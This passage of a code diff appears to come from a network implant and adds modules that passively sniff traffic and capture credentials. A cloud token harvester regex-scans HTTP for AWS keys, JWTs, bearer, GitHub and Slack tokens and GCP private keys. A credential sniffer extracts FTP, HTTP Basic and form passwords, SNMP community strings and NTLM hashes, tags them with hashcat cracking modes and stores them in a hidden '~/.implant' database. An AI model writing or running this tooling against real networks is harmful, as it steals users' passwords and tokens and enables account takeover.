||||
username = bind_body[name_start + 2:name_start + 2 + name_len].decode(
|
||||
"utf-8", errors="replace"
|
||||
)
|
||||
if username and username not in ("", "anonymous"):
|
||||
self._stats["ldap_bind_events"] += 1
|
||||
self._record_auth(
|
||||
ts, src_ip, dst_ip, "ldap", "simple_bind",
|
||||
username=username,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _read_ber_length(data: bytes) -> tuple:
|
||||
"""Read BER length encoding. Returns (length, bytes_consumed)."""
|
||||
if not data:
|
||||
return (0, 0)
|
||||
first = data[0]
|
||||
if first < 0x80:
|
||||
return (first, 1)
|
||||
num_bytes = first & 0x7F
|
||||
if num_bytes == 0 or len(data) < 1 + num_bytes:
|
||||
return (0, 0)
|
||||
length = 0
|
||||
for i in range(num_bytes):
|
||||
length = (length << 8) | data[1 + i]
|
||||
return (length, 1 + num_bytes)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Recording
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_auth(self, ts: float, src_ip: str, dst_ip: str,
|
||||
protocol: str, auth_type: str, username: str = "",
|
||||
domain: str = "", target_service: str = "",
|
||||
success: int = -1) -> None:
|
||||
"""Buffer an auth event for batch insert."""
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, src_ip, dst_ip, protocol, auth_type,
|
||||
username, domain, target_service, success,
|
||||
))
|
||||
|
||||
# Track service account patterns
|
||||
if username:
|
||||
key = f"{domain}\\{username}" if domain else username
|
||||
self._user_targets[key].add(dst_ip)
|
||||
if len(self._user_targets[key]) >= SERVICE_ACCOUNT_THRESHOLD:
|
||||
# Only count once per user crossing threshold
|
||||
current_count = len([
|
||||
u for u, targets in self._user_targets.items()
|
||||
if len(targets) >= SERVICE_ACCOUNT_THRESHOLD
|
||||
])
|
||||
if current_count > self._stats["service_accounts_detected"]:
|
||||
self._stats["service_accounts_detected"] = current_count
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "auth_flow_tracker.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO auth_events
|
||||
(timestamp, source_ip, dest_ip, protocol, auth_type,
|
||||
username, domain, target_service, success)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush auth events")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,324 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cloud token harvester — passive credential extraction from cleartext HTTP.
|
||||
|
||||
Regex-scans cleartext HTTP traffic (port 80) for AWS access keys, JWT tokens,
|
||||
OAuth bearer tokens, SAML assertions, Azure AD tokens, and GCP service account
|
||||
keys. Near-zero yield on most networks but zero cost to run. Publishes
|
||||
CLOUD_TOKEN_FOUND events and feeds to credential_db via bus events.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Token regexes — compiled once
|
||||
_TOKEN_PATTERNS = {
|
||||
"aws_access_key": re.compile(rb'(AKIA[A-Z0-9]{16})'),
|
||||
"aws_secret_key": re.compile(rb'(?:aws_secret_access_key|secret[_-]?key)\s*[=:]\s*([A-Za-z0-9/+=]{40})', re.IGNORECASE),
|
||||
"jwt": re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]+)'),
|
||||
"bearer_token": re.compile(rb'[Bb]earer\s+([A-Za-z0-9_\-\.~+/]+=*)', re.IGNORECASE),
|
||||
"saml_assertion": re.compile(rb'(<saml[2p]*:Assertion[^>]*>.*?</saml[2p]*:Assertion>)', re.DOTALL | re.IGNORECASE),
|
||||
"azure_ad_token": re.compile(rb'(eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+)'),
|
||||
"gcp_service_key": re.compile(rb'"type"\s*:\s*"service_account".*?"private_key"\s*:\s*"([^"]+)"', re.DOTALL),
|
||||
"api_key_generic": re.compile(rb'(?:api[_-]?key|apikey|x-api-key)\s*[=:]\s*([A-Za-z0-9_\-]{20,})', re.IGNORECASE),
|
||||
"github_token": re.compile(rb'(ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36})'),
|
||||
"slack_token": re.compile(rb'(xox[baprs]-[A-Za-z0-9\-]+)'),
|
||||
}
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS cloud_tokens (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
token_type TEXT NOT NULL,
|
||||
token_value TEXT NOT NULL,
|
||||
context TEXT DEFAULT ''
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_ct_type ON cloud_tokens(token_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_ct_ts ON cloud_tokens(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 60
|
||||
|
||||
|
||||
class CloudTokenHarvester(BaseModule):
|
||||
"""Passively harvest cloud tokens and API keys from cleartext HTTP."""
|
||||
|
||||
name = "cloud_token_harvester"
|
||||
module_type = "passive"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
# Dedup: track recently seen tokens to avoid spamming
|
||||
self._seen_tokens: set = set()
|
||||
self._seen_tokens_lock = threading.Lock()
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"http_payloads_scanned": 0,
|
||||
"tokens_found": 0,
|
||||
"tokens_by_type": {},
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("CloudTokenHarvester requires _capture_bus in config")
|
||||
return
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 80", queue_depth=3000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-cloud-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-cloud-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("CloudTokenHarvester started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("CloudTokenHarvester stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Extract HTTP payload and scan for tokens."""
|
||||
if len(pkt) < 54:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 58:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 6: # TCP only
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
if len(ip_header) < ihl + 20:
|
||||
return
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
|
||||
if len(payload) < 10:
|
||||
return
|
||||
|
||||
# Quick check: does this look like HTTP?
|
||||
if not (payload[:4] in (b'GET ', b'POST', b'PUT ', b'HEAD', b'HTTP', b'PATC', b'DELE')
|
||||
or payload[:7] == b'CONNECT' or payload[:7] == b'OPTIONS'):
|
||||
return
|
||||
|
||||
self._stats["http_payloads_scanned"] += 1
|
||||
self._scan_for_tokens(payload, src_ip, dst_ip, ts)
|
||||
|
||||
def _scan_for_tokens(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Run all token regexes against the HTTP payload."""
|
||||
for token_type, pattern in _TOKEN_PATTERNS.items():
|
||||
try:
|
||||
matches = pattern.findall(payload)
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
for match in matches:
|
||||
if isinstance(match, bytes):
|
||||
token_value = match.decode("ascii", errors="replace")
|
||||
else:
|
||||
token_value = str(match)
|
||||
|
||||
# Skip very short matches (likely false positives)
|
||||
if len(token_value) < 10:
|
||||
continue
|
||||
|
||||
# Dedup
|
||||
token_hash = f"{token_type}:{token_value[:32]}"
|
||||
with self._seen_tokens_lock:
|
||||
if token_hash in self._seen_tokens:
|
||||
continue
|
||||
self._seen_tokens.add(token_hash)
|
||||
# Bound the seen set
|
||||
if len(self._seen_tokens) > 10000:
|
||||
self._seen_tokens.clear()
|
||||
|
||||
# Extract context (surrounding bytes for context)
|
||||
idx = payload.find(match if isinstance(match, bytes) else match.encode())
|
||||
context_start = max(0, idx - 50)
|
||||
context_end = min(len(payload), idx + len(match) + 50) if idx >= 0 else 0
|
||||
context = payload[context_start:context_end].decode("ascii", errors="replace") if idx >= 0 else ""
|
||||
|
||||
self._stats["tokens_found"] += 1
|
||||
self._stats["tokens_by_type"][token_type] = (
|
||||
self._stats["tokens_by_type"].get(token_type, 0) + 1
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"Cloud token found: type=%s src=%s dst=%s value=%s...",
|
||||
token_type, src_ip, dst_ip, token_value[:20]
|
||||
)
|
||||
|
||||
# Publish event
|
||||
self.bus.emit("CLOUD_TOKEN_FOUND", {
|
||||
"token_type": token_type,
|
||||
"token_value": token_value,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
"context": context[:200],
|
||||
}, source_module=self.name)
|
||||
|
||||
# Also feed to credential_db
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": f"cloud_token_{token_type}",
|
||||
"username": "",
|
||||
"credential": token_value,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
"protocol": "http",
|
||||
})
|
||||
|
||||
self._record_token(ts, src_ip, dst_ip, token_type, token_value, context)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "cloud_token_harvester.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_token(self, ts: float, src_ip: str, dst_ip: str,
|
||||
token_type: str, token_value: str, context: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, src_ip, dst_ip, token_type, token_value, context[:500]
|
||||
))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO cloud_tokens
|
||||
(timestamp, source_ip, dest_ip, token_type, token_value, context)
|
||||
VALUES (?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush cloud tokens")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,659 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive credential extraction from network traffic.
|
||||
|
||||
Extracts cleartext and hashed credentials from protocols:
|
||||
- FTP USER/PASS
|
||||
- HTTP Basic auth (base64 decode)
|
||||
- HTTP form POST (password fields)
|
||||
- SNMP community strings
|
||||
- LDAP simple bind
|
||||
- NTLMv1/v2 challenge-response from SMB and HTTP
|
||||
|
||||
Publishes CREDENTIAL_FOUND events immediately on capture.
|
||||
Batch-writes to SQLite for persistence.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Hashcat mode mapping
|
||||
HASHCAT_MODES = {
|
||||
"ntlmv2": 5600,
|
||||
"ntlmv1": 5500,
|
||||
"net-ntlmv2": 5600,
|
||||
"net-ntlmv1": 5500,
|
||||
"ftp": 0, # plaintext
|
||||
"http_basic": 0,
|
||||
"http_form": 0,
|
||||
"snmp": 0,
|
||||
"ldap_simple": 0,
|
||||
}
|
||||
|
||||
|
||||
class CredentialSniffer(BaseModule):
|
||||
"""Extract credentials from network traffic in real time."""
|
||||
|
||||
name = "credential_sniffer"
|
||||
module_type = "passive"
|
||||
priority = 80
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 100
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._buffer = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_creds = 0
|
||||
# Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user
|
||||
self._ftp_sessions = {}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("CredentialSniffer requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "credentials.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
# Load BPF filter from file or use default
|
||||
bpf_path = self.config.get("bpf_filter_path", "")
|
||||
bpf_filter = ""
|
||||
if bpf_path and os.path.isfile(bpf_path):
|
||||
with open(bpf_path) as f:
|
||||
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
bpf_filter = " ".join(lines)
|
||||
if not bpf_filter:
|
||||
bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445"
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter=bpf_filter, queue_depth=8000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-cred-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("CredentialSniffer started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_credentials": self._total_creds,
|
||||
"buffer_size": len(self._buffer),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS credentials (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
target_ip TEXT NOT NULL,
|
||||
target_port INTEGER NOT NULL,
|
||||
service TEXT NOT NULL,
|
||||
username TEXT,
|
||||
domain TEXT,
|
||||
cred_type TEXT NOT NULL,
|
||||
cred_value TEXT,
|
||||
hashcat_mode INTEGER
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service);
|
||||
CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Route packet to appropriate protocol parser."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100:
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800:
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
ip_proto = ip_hdr[9]
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
|
||||
if ip_proto == 6: # TCP
|
||||
tcp_offset = ip_offset + ihl
|
||||
if len(raw) < tcp_offset + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
|
||||
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
|
||||
payload = raw[tcp_offset + tcp_hdr_len:]
|
||||
|
||||
if not payload:
|
||||
return
|
||||
|
||||
# FTP (port 21)
|
||||
if dst_port == 21 or src_port == 21:
|
||||
self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload)
|
||||
|
||||
# HTTP (port 80, 8080, 8443, etc.)
|
||||
if dst_port in (80, 8080, 8000, 8443, 3128):
|
||||
self._parse_http(ts, src_ip, dst_ip, dst_port, payload)
|
||||
|
||||
# LDAP (port 389, 3268)
|
||||
if dst_port in (389, 3268):
|
||||
self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload)
|
||||
|
||||
# SMB (port 445) — NTLM auth
|
||||
if dst_port == 445 or src_port == 445:
|
||||
self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload)
|
||||
|
||||
elif ip_proto == 17: # UDP
|
||||
udp_offset = ip_offset + ihl
|
||||
if len(raw) < udp_offset + 8:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
|
||||
payload = raw[udp_offset + 8:]
|
||||
|
||||
# SNMP (port 161)
|
||||
if dst_port == 161:
|
||||
self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Protocol parsers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, src_port: int, payload: bytes) -> None:
|
||||
"""Parse FTP USER and PASS commands."""
|
||||
try:
|
||||
text = payload.decode("ascii", errors="ignore").strip()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
# Client -> Server commands
|
||||
ftp_target = dst_ip if dst_port == 21 else src_ip
|
||||
ftp_client = src_ip if dst_port == 21 else dst_ip
|
||||
ftp_port = 21
|
||||
|
||||
session_key = (ftp_client, ftp_target, ftp_port)
|
||||
|
||||
if text.upper().startswith("USER "):
|
||||
username = text[5:].strip()
|
||||
self._ftp_sessions[session_key] = username
|
||||
|
||||
elif text.upper().startswith("PASS "):
|
||||
password = text[5:].strip()
|
||||
username = self._ftp_sessions.get(session_key, "")
|
||||
self._emit_credential(
|
||||
ts, ftp_client, ftp_target, ftp_port,
|
||||
"ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"],
|
||||
)
|
||||
|
||||
def _parse_http(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, payload: bytes) -> None:
|
||||
"""Parse HTTP Authorization headers and form POST data."""
|
||||
try:
|
||||
text = payload.decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
# HTTP Basic auth
|
||||
basic_match = re.search(
|
||||
r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
|
||||
)
|
||||
if basic_match:
|
||||
try:
|
||||
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
|
||||
if ":" in decoded:
|
||||
username, password = decoded.split(":", 1)
|
||||
self._emit_credential(
|
||||
ts, src_ip, dst_ip, dst_port,
|
||||
"http_basic", username, "", "plaintext", password,
|
||||
HASHCAT_MODES["http_basic"],
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# NTLM over HTTP
|
||||
ntlm_match = re.search(
|
||||
r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
|
||||
)
|
||||
if ntlm_match:
|
||||
self._parse_ntlm_token(
|
||||
ts, src_ip, dst_ip, dst_port, "http_ntlm",
|
||||
base64.b64decode(ntlm_match.group(1)),
|
||||
)
|
||||
|
||||
# HTTP form POST with password fields
|
||||
if text.startswith("POST "):
|
||||
content_type_match = re.search(
|
||||
r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE
|
||||
)
|
||||
if content_type_match:
|
||||
# Find body (after double CRLF)
|
||||
body_start = text.find("\r\n\r\n")
|
||||
if body_start == -1:
|
||||
body_start = text.find("\n\n")
|
||||
if body_start >= 0:
|
||||
body = text[body_start:].strip()
|
||||
self._parse_form_post(ts, src_ip, dst_ip, dst_port, body)
|
||||
|
||||
def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, body: str) -> None:
|
||||
"""Extract username/password from URL-encoded form POST."""
|
||||
params = {}
|
||||
for pair in body.split("&"):
|
||||
if "=" in pair:
|
||||
key, value = pair.split("=", 1)
|
||||
params[key.lower()] = value
|
||||
|
||||
# Look for common password field names
|
||||
password_keys = ["password", "passwd", "pass", "pwd", "user_password",
|
||||
"login_password", "secret"]
|
||||
username_keys = ["username", "user", "login", "email", "userid",
|
||||
"login_name", "user_name"]
|
||||
|
||||
password = ""
|
||||
username = ""
|
||||
for pk in password_keys:
|
||||
if pk in params:
|
||||
password = params[pk]
|
||||
break
|
||||
|
||||
if not password:
|
||||
return
|
||||
|
||||
for uk in username_keys:
|
||||
if uk in params:
|
||||
username = params[uk]
|
||||
break
|
||||
|
||||
self._emit_credential(
|
||||
ts, src_ip, dst_ip, dst_port,
|
||||
"http_form", username, "", "plaintext", password,
|
||||
HASHCAT_MODES["http_form"],
|
||||
)
|
||||
|
||||
def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, payload: bytes) -> None:
|
||||
"""Extract SNMP v1/v2c community strings from packets."""
|
||||
if len(payload) < 10:
|
||||
return
|
||||
|
||||
# SNMP is BER/ASN.1 encoded
|
||||
# Sequence tag: 0x30
|
||||
if payload[0] != 0x30:
|
||||
return
|
||||
|
||||
offset = 1
|
||||
# Skip sequence length
|
||||
if payload[offset] & 0x80:
|
||||
num_len_bytes = payload[offset] & 0x7F
|
||||
offset += 1 + num_len_bytes
|
||||
else:
|
||||
offset += 1
|
||||
|
||||
# Version: Integer tag (0x02)
|
||||
if offset >= len(payload) or payload[offset] != 0x02:
|
||||
return
|
||||
offset += 1
|
||||
ver_len = payload[offset]
|
||||
offset += 1
|
||||
if offset + ver_len > len(payload):
|
||||
return
|
||||
version = int.from_bytes(payload[offset:offset + ver_len], "big")
|
||||
offset += ver_len
|
||||
|
||||
# Only v1 (0) and v2c (1) have community strings
|
||||
if version > 1:
|
||||
return
|
||||
|
||||
# Community string: OctetString tag (0x04)
|
||||
if offset >= len(payload) or payload[offset] != 0x04:
|
||||
return
|
||||
offset += 1
|
||||
if offset >= len(payload):
|
||||
return
|
||||
comm_len = payload[offset]
|
||||
offset += 1
|
||||
if offset + comm_len > len(payload):
|
